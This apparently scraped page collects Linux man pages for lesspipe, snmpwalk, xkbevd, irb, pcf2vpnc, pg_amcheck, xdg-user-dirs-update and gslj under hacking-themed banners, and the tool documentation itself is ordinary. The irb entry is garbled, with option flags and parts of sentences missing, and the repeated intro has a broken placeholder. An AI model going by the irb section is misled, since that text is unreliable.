             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1564 - Linux cli command lesspipe

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lesspipe and provides detailed information about the command lesspipe, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lesspipe.

NAME 🖥️ lesspipe 🖥️

“input preprocessor” for less.

SYNOPSIS

lessfile, lesspipe

DESCRIPTION

This manual page documents briefly the lessfile, and lesspipe commands. This manual page was written for the Debian GNU/Linux distribution because the input preprocessor scripts are provided by Debian GNU/Linux and are not part of the original program.

lessfile and lesspipe are programs that can be used to modify the way the contents of a file are displayed in less. What this means is that less can automatically open up tar files, uncompress gzipped files, and even display something reasonable for graphics files.

lesspipe will toss the contents/info on STDOUT and less will read them as they come across. This means that you do not have to wait for the decoding to finish before less shows you the file. This also means that you will get a ‘byte N’ instead of an N% as your file position. You can seek to the end and back to get the N% but that means you have to wait for the pipe to finish.

lessfile will toss the contents/info on a file which less will then read. After you are done, lessfile will then delete the file. This means that the process has to finish before you see it, but you get nice percentages (N%) up front.

USAGE

Just put one of the following two commands in your login script (e.g. ~/.bash_profile):

eval “$(lessfile)”

or

eval “$(lesspipe)”

FILE TYPE RECOGNITION

File types are recognized by their extensions. This is a list of currently supported extensions (grouped by the programs that handle them):

*.a *.arj *.tar.bz2 *.bz *.bz2 *.deb, *.udeb, *.ddeb *.doc *.egg *.gif, *.jpeg, *.jpg, *.pcd, *.png, *.tga, *.tiff, *.tif *.iso, *.raw, *.bin *.lha, *.lzh *.tar.lz, *.tlz *.lz *.7z *.pdf *.rar, *.r[0-9][0-9] *.rpm *.tar.gz, *.tgz, *.tar.z, *.tar.dz *.gz, *.z, *.dz *.tar *.tar.xz, *.xz *.whl *.jar, *.war, *.xpi, *.zip *.zoo *.tar.zst, *.tzst *.zst

USER DEFINED FILTERS

It is possible to extend and overwrite the default lesspipe and lessfile input processor if you have specialized requirements. Create an executable program with the name .lessfilter and put it into your home directory. This can be a shell script or a binary program.

It is important that this program returns the correct exit code: return 0 if your filter handles the input, return 1 if the standard lesspipe/lessfile filter should handle the input.

Here is an example script:

#!/bin/sh

case “$1” in *.extension) extension-handler “$1” ;; *) # We don’t handle this format. exit 1 esac

# No further processing by lesspipe necessary exit 0

FILES

~/.lessfilter
Executable file that can do user defined processing. See section USER DEFINED FILTERS for more information.

BUGS

Sometimes, less does not display the contents file you want to view but output that is produced by your login scripts (~/.bashrc or ~/.bash_profile). This happens because less uses your current shell to run the lesspipe filter. Bash first looks for the variable $BASH_ENV in the environment expands its value and uses the expanded value as the name of a file to read and execute. If this file produces any output less will display this. A way to solve this problem is to put the following lines on the top of your login script that produces output:

if [ -z “$PS1” ]; then exit fi

This tests whether the prompt variable $PS1 is set and if it isn’t (which is the case for non-interactive shells) it will exit the script.

SEE ALSO

less(1)

AUTHOR

This manual page was written by Thomas Schoepf <[email protected]>, for the Debian GNU/Linux system (but may be used by others). Most of the text was copied from a description written by Darren Stalder <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1565 - Linux cli command snmpwalk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpwalk and provides detailed information about the command snmpwalk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpwalk.

NAME 🖥️ snmpwalk 🖥️

retrieve a subtree of management values using SNMP GETNEXT requests

SYNOPSIS

snmpwalk [APPLICATION OPTIONS] [COMMON OPTIONS] AGENT [OID]

DESCRIPTION

snmpwalk is an SNMP application that uses SNMP GETNEXT requests to query a network entity for a tree of information.

An object identifier (OID) may be given on the command line. This OID specifies which portion of the object identifier space will be searched using GETNEXT requests. All variables in the subtree below the given OID are queried and their values presented to the user. Each variable name is given in the format specified in variables(5).

If no OID argument is present, snmpwalk will search the subtree rooted at SNMPv2-SMI::mib-2 (including any MIB object values from other MIB modules, that are defined as lying within this subtree). If the network entity has an error processing the request packet, an error packet will be returned and a message will be shown, helping to pinpoint why the request was malformed.

If the tree search causes attempts to search beyond the end of the MIB, the message “End of MIB” will be displayed.

OPTIONS

-Cc
Do not check whether the returned OIDs are increasing. Some agents (LaserJets are an example) return OIDs out of order, but can complete the walk anyway. Other agents return OIDs that are out of order and can cause snmpwalk to loop indefinitely. By default, snmpwalk tries to detect this behavior and warns you when it hits an agent acting illegally. Use -Cc to turn off this check.

-CE {OID}
End the walk at the specified OID, rather than a simple subtree. This can be used to walk a partial subtree, selected columns of a table, or even two or more tables within a single command.

-Ci
Include the given OID in the search range. Normally snmpwalk uses GETNEXT requests starting with the OID you specified and returns all results in the MIB subtree rooted at that OID. Sometimes, you may wish to include the OID specified on the command line in the printed results if it is a valid OID in the tree itself. This option lets you do this explicitly.

-CI
In fact, the given OID will be retrieved automatically if the main subtree walk returns no useable values. This allows a walk of a single instance to behave as generally expected, and return the specified instance value. This option turns off this final GET request, so a walk of a single instance will return nothing.

-Cp
Upon completion of the walk, print the number of variables found.

-Ct
Upon completion of the walk, print the total wall-clock time it took to collect the data (in seconds). Note that the timer is started just before the beginning of the data request series and stopped just after it finishes. Most importantly, this means that it does not include snmp library initialization, shutdown, argument processing, and any other overhead.

In addition to these options, snmpwalk takes the common options described in the snmpcmd(1) manual page.

EXAMPLES

Note that snmpwalk REQUIRES an argument specifying the agent to query and at most one OID argument, as described there. The command:

snmpwalk -Os -c public -v 1 zeus system

will retrieve all of the variables under system:

sysDescr.0 = STRING: “SunOS zeus.net.cmu.edu 4.1.3_U1 1 sun4m”
sysObjectID.0 = OID: enterprises.hp.nm.hpsystem.10.1.1
sysUpTime.0 = Timeticks: (155274552) 17 days, 23:19:05
sysContact.0 = STRING: ""
sysName.0 = STRING: “zeus.net.cmu.edu”
sysLocation.0 = STRING: ""
sysServices.0 = INTEGER: 72
(plus the contents of the sysORTable).

The command:

snmpwalk -Os -c public -v 1 -CE sysORTable zeus system

will retrieve the scalar values, but omit the sysORTable.

SEE ALSO

snmpcmd(1), snmpbulkwalk(1), variables(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1566 - Linux cli command xkbevd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xkbevd and provides detailed information about the command xkbevd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xkbevd.

NAME 🖥️ xkbevd 🖥️

XKB event daemon

SYNOPSIS

xkbevd [ options ]

DESCRIPTION

This command is very raw and is therefore only partially implemented; we present it here as a rough prototype for developers, not as a general purpose tool for end users. Something like this might make a suitable replacement for xev; I’m not signing up, mind you, but it’s an interesting idea.

The xkbevd event daemon listens for specified XKB events and executes requested commands if they occur. The configuration file consists of a list of event specification/action pairs and/or variable definitions.

An event specification consists of a short XKB event name followed by a string or identifier which serves as a qualifier in parentheses; empty parenthesis indicate no qualification and serve to specify the default command which is applied to events which do not match any of the other specifications. The interpretation of the qualifier depends on the type of the event: Bell events match using the name of the bell, message events match on the contents of the message string and slow key events accept any of press, release, accept, or reject. No other events are currently recognized.

An action consists of an optional keyword followed by an optional string argument. Currently, xkbev recognizes the actions: none, ignore, echo, printEvent, sound, and shell. If the action is not specified, the string is taken as the name of a sound file to be played unless it begins with an exclamation point, in which case it is taken as a shell command.

Variable definitions in the argument string are expanded with fields from the event in question before the argument string is passed to the action processor. The general syntax for a variable is either $c or $(str), where c is a single character and str is a string of arbitrary length. All parameters have both single-character and long names.

The list of recognized parameters varies from event to event and is too long to list here right now. This is a developer release anyway, so you can be expected to look at the source code (evargs.c is of particular interest).

The ignore, echo, printEvent, sound,and shell actions do what you would expect commands named ignore, echo, printEvent, sound, and shell to do, except that the sound command has only been implemented and tested for SGI machines. It launches an external program right now, so it should be pretty easy to adapt, especially if you like audio cues that arrive about a half-second after you expect them.

The only currently recognized variables are soundDirectory and soundCmd. I’m sure you can figure out what they do.

OPTIONS

-help
Prints a usage message that is far more up-to-date than anything in this man page.

-cfg file
Specifies the configuration file to read. If no configuration file is specified, xkbevd looks for ~/.xkb/xkbevd.cf and $(LIBDIR)/xkb/xkbevd.cf in that order.

-sc cmd
Specifies the command used to play sounds.

-sd directory
Specifies a top-level directory for sound files.

-display display
Specifies the display to use. If not present, xkbevd uses $DISPLAY.

-bg
Tells xkbevd to fork itself (and run in the background).

-synch
Forces synchronization of all X requests. Slow.

-v
Print more information, including debugging messages. Multiple specifications of -v cause more output, to a point.

-version
Prints the program version and exits.

SEE ALSO

xev(1), xkbwatch(1), X(7).

AUTHOR

Erik Fortune, Silicon Graphics

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1567 - Linux cli command irb

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command irb and provides detailed information about the command irb, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the irb.

is the REPL(read-eval-print loop) environment for Ruby programs.

Prints the version of

Same as `ruby -E’ . Specifies the default value(s) for external encodings and internal encoding. Values should be separated with colon (:).

You can omit the one for internal encodings, then the value

Same as `ruby -I’ . Specifies

directory

Same as `ruby -U’ . Sets the default value for internal encodings

Same as `ruby -d’ . Sets

to true.

Suppresses read of

Same as `ruby -w’ .

Same as `ruby -W’ .

Prints a summary of the options.

Same as `ruby -r’. Causes irb to load the library using require.

Uses `inspect’ for output (default except for bc mode)

Doesn’t use inspect for output

Uses multiline editor module.

Doesn’t use multiline editor module.

Uses singleline editor module.

Doesn’t use singleline editor module.

Add an extra doc dir for the doc dialog.

Show result (default).

Don’t show result.

Show result on assignment.

Don’t show result on assignment.

Show truncated result on assignment (default).

Use colorization.

Don’t use colorization.

Use autocompletion.

Don’t use autocompletion.

Show details.

Don’t show details.

Switch prompt mode. Pre-defined prompt modes are `default’, `simple’, `xmp’ and `inf-ruby'.

Uses prompt appropriate for inf-ruby-mode on emacs. Suppresses –multiline and –singleline.

Makes prompts simple.

No prompt mode.

Displays trace for each execution of commands.

Displays backtrace top

and tail

The default value is 16.

Also

depends on same variables as

Personal irb initialization.

Security vulnerabilities should be reported via an email to

Reported problems will be published after being fixed.

Other bugs and feature requests can be reported via the Ruby Issue Tracking System

Do not report security vulnerabilities via this system because it publishes the vulnerabilities immediately.

Written by Keiju ISHITSUKA.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1568 - Linux cli command pcf2vpnc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pcf2vpnc and provides detailed information about the command pcf2vpnc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pcf2vpnc.

NAME 🖥️ pcf2vpnc 🖥️

converts VPN-config files from pcf to vpnc-format

SYNOPSIS

pcf2vpnc <pcf file> [vpnc file]

DESCRIPTION

This script accompanies vpnc. It attempts to convert *.pcf-configuration files often spread with proprietary (read Cisco) VPN-clients into vpnc-configuration files, usually named *.conf.

If [vpnc file] is not specified, the result will be printed to STDOUT. If specified, it will be written to that file. Please make sure that it has appropriate permissions as it may contain sensitive data!

AUTHOR

pcf2vpnc was originally written by Stefan Tomanek. Updates and this man-page were made by Wolfram Sang (ninja(at)the-dreams.de).

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 any later version published by the Free Software Foundation.

On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

SEE ALSO

vpnc(8) cisco-decrypt(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1569 - Linux cli command pg_amcheck

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_amcheck and provides detailed information about the command pg_amcheck, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_amcheck.

NAME 🖥️ pg_amcheck 🖥️

checks for corruption in one or more PostgreSQL databases

SYNOPSIS

pg_amcheck [option…] [dbname]

DESCRIPTION

pg_amcheck supports running amchecks corruption checking functions against one or more databases, with options to select which schemas, tables and indexes to check, which kinds of checking to perform, and whether to perform the checks in parallel, and if so, the number of parallel connections to establish and use.

Only ordinary and toast table relations, materialized views, sequences, and btree indexes are currently supported. Other relation types are silently skipped.

If dbname is specified, it should be the name of a single database to check, and no other database selection options should be present. Otherwise, if any database selection options are present, all matching databases will be checked. If no such options are present, the default database will be checked. Database selection options include –all, –database and –exclude-database. They also include –relation, –exclude-relation, –table, –exclude-table, –index, and –exclude-index, but only when such options are used with a three-part pattern (e.g. mydb*.myschema*.myrel*). Finally, they include –schema and –exclude-schema when such options are used with a two-part pattern (e.g. mydb*.myschema*).

dbname can also be a connection string.

OPTIONS

The following command-line options control what is checked:

-a
–all

Check all databases, except for any excluded via –exclude-database.

-d pattern
**–database=**pattern

Check databases matching the specified pattern, except for any excluded by –exclude-database. This option can be specified more than once.

-D pattern
**–exclude-database=**pattern

Exclude databases matching the given pattern. This option can be specified more than once.

-i pattern
**–index=**pattern

Check indexes matching the specified pattern, unless they are otherwise excluded. This option can be specified more than once.

This is similar to the –relation option, except that it applies only to indexes, not to other relation types.

-I pattern
**–exclude-index=**pattern

Exclude indexes matching the specified pattern. This option can be specified more than once.

This is similar to the –exclude-relation option, except that it applies only to indexes, not other relation types.

-r pattern
**–relation=**pattern

Check relations matching the specified pattern, unless they are otherwise excluded. This option can be specified more than once.

Patterns may be unqualified, e.g. myrel*, or they may be schema-qualified, e.g. myschema*.myrel* or database-qualified and schema-qualified, e.g. mydb*.myschema*.myrel*. A database-qualified pattern will add matching databases to the list of databases to be checked.

-R pattern
**–exclude-relation=**pattern

Exclude relations matching the specified pattern. This option can be specified more than once.

As with –relation, the pattern may be unqualified, schema-qualified, or database- and schema-qualified.

-s pattern
**–schema=**pattern

Check tables and indexes in schemas matching the specified pattern, unless they are otherwise excluded. This option can be specified more than once.

To select only tables in schemas matching a particular pattern, consider using something like –table=SCHEMAPAT.* –no-dependent-indexes. To select only indexes, consider using something like –index=SCHEMAPAT.*.

A schema pattern may be database-qualified. For example, you may write –schema=mydb*.myschema* to select schemas matching myschema* in databases matching mydb*.

-S pattern
**–exclude-schema=**pattern

Exclude tables and indexes in schemas matching the specified pattern. This option can be specified more than once.

As with –schema, the pattern may be database-qualified.

-t pattern
**–table=**pattern

Check tables matching the specified pattern, unless they are otherwise excluded. This option can be specified more than once.

This is similar to the –relation option, except that it applies only to tables, materialized views, and sequences, not to indexes.

-T pattern
**–exclude-table=**pattern

Exclude tables matching the specified pattern. This option can be specified more than once.

This is similar to the –exclude-relation option, except that it applies only to tables, materialized views, and sequences, not to indexes.

–no-dependent-indexes

By default, if a table is checked, any btree indexes of that table will also be checked, even if they are not explicitly selected by an option such as –index or –relation. This option suppresses that behavior.

–no-dependent-toast

By default, if a table is checked, its toast table, if any, will also be checked, even if it is not explicitly selected by an option such as –table or –relation. This option suppresses that behavior.

–no-strict-names

By default, if an argument to –database, –table, –index, or –relation matches no objects, it is a fatal error. This option downgrades that error to a warning.

The following command-line options control checking of tables:

–exclude-toast-pointers

By default, whenever a toast pointer is encountered in a table, a lookup is performed to ensure that it references apparently-valid entries in the toast table. These checks can be quite slow, and this option can be used to skip them.

–on-error-stop

After reporting all corruptions on the first page of a table where corruption is found, stop processing that table relation and move on to the next table or index.

Note that index checking always stops after the first corrupt page. This option only has meaning relative to table relations.

**–skip=**option

If all-frozen is given, table corruption checks will skip over pages in all tables that are marked as all frozen.

If all-visible is given, table corruption checks will skip over pages in all tables that are marked as all visible.

By default, no pages are skipped. This can be specified as none, but since this is the default, it need not be mentioned.

**–startblock=**block

Start checking at the specified block number. An error will occur if the table relation being checked has fewer than this number of blocks. This option does not apply to indexes, and is probably only useful when checking a single table relation. See –endblock for further caveats.

**–endblock=**block

End checking at the specified block number. An error will occur if the table relation being checked has fewer than this number of blocks. This option does not apply to indexes, and is probably only useful when checking a single table relation. If both a regular table and a toast table are checked, this option will apply to both, but higher-numbered toast blocks may still be accessed while validating toast pointers, unless that is suppressed using –exclude-toast-pointers.

The following command-line options control checking of B-tree indexes:

–heapallindexed

For each index checked, verify the presence of all heap tuples as index tuples in the index using amchecks heapallindexed option.

–parent-check

For each btree index checked, use amchecks bt_index_parent_check function, which performs additional checks of parent/child relationships during index checking.

The default is to use amchecks bt_index_check function, but note that use of the –rootdescend option implicitly selects bt_index_parent_check.

–rootdescend

For each index checked, re-find tuples on the leaf level by performing a new search from the root page for each tuple using amchecks rootdescend option.

Use of this option implicitly also selects the –parent-check option.

This form of verification was originally written to help in the development of btree index features. It may be of limited use or even of no use in helping detect the kinds of corruption that occur in practice. It may also cause corruption checking to take considerably longer and consume considerably more resources on the server.

Warning

The extra checks performed against B-tree indexes when the –parent-check option or the –rootdescend option is specified require relatively strong relation-level locks. These checks are the only checks that will block concurrent data modification from INSERT, UPDATE, and DELETE commands.

The following command-line options control the connection to the server:

-h hostname
**–host=**hostname

Specifies the host name of the machine on which the server is running. If the value begins with a slash, it is used as the directory for the Unix domain socket.

-p port
**–port=**port

Specifies the TCP port or local Unix domain socket file extension on which the server is listening for connections.

-U
**–username=**username

User name to connect as.

-w
–no-password

Never issue a password prompt. If the server requires password authentication and a password is not available by other means such as a .pgpass file, the connection attempt will fail. This option can be useful in batch jobs and scripts where no user is present to enter a password.

-W
–password

Force pg_amcheck to prompt for a password before connecting to a database.

This option is never essential, since pg_amcheck will automatically prompt for a password if the server demands password authentication. However, pg_amcheck will waste a connection attempt finding out that the server wants a password. In some cases it is worth typing -W to avoid the extra connection attempt.

**–maintenance-db=**dbname

Specifies a database or connection string to be used to discover the list of databases to be checked. If neither –all nor any option including a database pattern is used, no such connection is required and this option does nothing. Otherwise, any connection string parameters other than the database name which are included in the value for this option will also be used when connecting to the databases being checked. If this option is omitted, the default is postgres or, if that fails, template1.

Other options are also available:

-e
–echo

Echo to stdout all SQL sent to the server.

-j num
**–jobs=**num

Use num concurrent connections to the server, or one per object to be checked, whichever is less.

The default is to use a single connection.

-P
–progress

Show progress information. Progress information includes the number of relations for which checking has been completed, and the total size of those relations. It also includes the total number of relations that will eventually be checked, and the estimated size of those relations.

-v
–verbose

Print more messages. In particular, this will print a message for each relation being checked, and will increase the level of detail shown for server errors.

-V
–version

Print the pg_amcheck version and exit.

–install-missing
**–install-missing=**schema

Install any missing extensions that are required to check the database(s). If not yet installed, each extensions objects will be installed into the given schema, or if not specified into schema pg_catalog.

At present, the only required extension is amcheck.

-?
–help

Show help about pg_amcheck command line arguments, and exit.

NOTES

pg_amcheck is designed to work with PostgreSQL 14.0 and later.

SEE ALSO

amcheck

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1570 - Linux cli command xdg-user-dirs-update

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xdg-user-dirs-update and provides detailed information about the command xdg-user-dirs-update, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xdg-user-dirs-update.

NAME 🖥️ xdg-user-dirs-update 🖥️

user-dirs-update - Update XDG user dir configuration

SYNOPSIS

xdg-user-dirs-update [OPTION…] [–set NAME PATH…]

DESCRIPTION

xdg-user-dirs-update updates the current state of the users user-dirs.dirs. If none existed before then one is created based on the system default values, or falling back to the old non-translated filenames if such directories exists. The list of old directories used are: ~/Desktop, ~/Templates and ~/Public.

If an old configuration exists it is updated with any new default directories. Additionally, any configured directories that point to non-existing locations are reset by pointing then to the users home directory. This typically happens when the users removed the directory, so they likely dont want to use it anymore.

On the first run a user-dirs.locale file is created containing the locale that was used for the translation. This is used later by GUI tools like xdg-user-dirs-gtk-update to detect if the locale was changed, letting you to migrate from the old names.

xdg-user-dirs-update is normally run automatically at the start of a user session to update the XDG user dirs according to the users locale.

OPTIONS

The following options are understood:

–help

Print help output and exit.

–force

Update existing user-dirs.dirs, but force a full reset. This means: Dont reset nonexisting directories to HOME, rather recreate the directory. Never use backwards compatible non-translated names. Always recreate user-dirs.locale.

–dummy-output PATH

Write the configuration to PATH instead of the default configuration file. Also, no directories are created.

–set NAME PATH

Sets the XDG user dir with the given name.

NAME should be one of the following:

DESKTOP

DOWNLOAD

TEMPLATES

PUBLICSHARE

DOCUMENTS

MUSIC

PICTURES

VIDEOS

PATH must be an absolute path, e.g. $HOME/Some/Directory.

FILES

The XDG user dirs configuration is stored in the user-dirs.dirs file in the location pointed to by the XDG_CONFIG_HOME environment variable.

ENVIRONMENT

The XDG_CONFIG_HOME environment variable determines where the user-dirs.dirs file is located.

SEE ALSO

xdg-user-dir(1), user-dirs.dirs(5), user-dirs.defaults(5), user-dirs.conf(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1571 - Linux cli command gslj

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gslj and provides detailed information about the command gslj, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gslj.

NAME 🖥️ gslj 🖥️

Format and print text using ghostscript
gsbj - Format and print text for BubbleJet printer using ghostscript
gsdj - Format and print text for DeskJet printer using ghostscript
gsdj500 - Format and print text for DeskJet 500 BubbleJet using ghostscript
gslj - Format and print text for LaserJet printer using ghostscript

SYNOPSIS

gslp -12BclqRr -b<header> -f<font> -F<hfont> -L<lines> -p<outfile> -T<n> –add-to-space <units> –add-to-width <units> –columns <n> –detect –first-page <n> –kern <file.afm> –last-page <n> –(heading|footing)-(left|center|right) <string> –margin-(top|bottom|left|right) <inches> –no-eject-(file|formfeed) –spacing <n> [gs options] [files]

gsbj [options] [files]
gsdj [options] [files]
gsdj500 [options] [files]
gslj [options] [files]

DESCRIPTION

This utility provides functionality approximately equivalent to the Unix enscript(1) program. It prints plain text files using a single font. It currently handles tabs and formfeeds, but not backspaces. It will line-wrap when using fixed-pitch fonts. It will also do kerning and width adjustment.

The default device (-sDEVICE=) and resolution (-r) are as follows:

      gslp      epson      180
      gsbj      bj10e      180
      gsdj      deskjet    300
      gsdj500   djet500    300
      gslj      laserjet   300

By default the current date is formatted as the center header.

OPTIONS

Standard switches implemented:
-12BclqRr -b<header> -f<font> -F<hfont> -L<lines> -p<outfile>

Sun switches implemented:
-T<n> set tab width

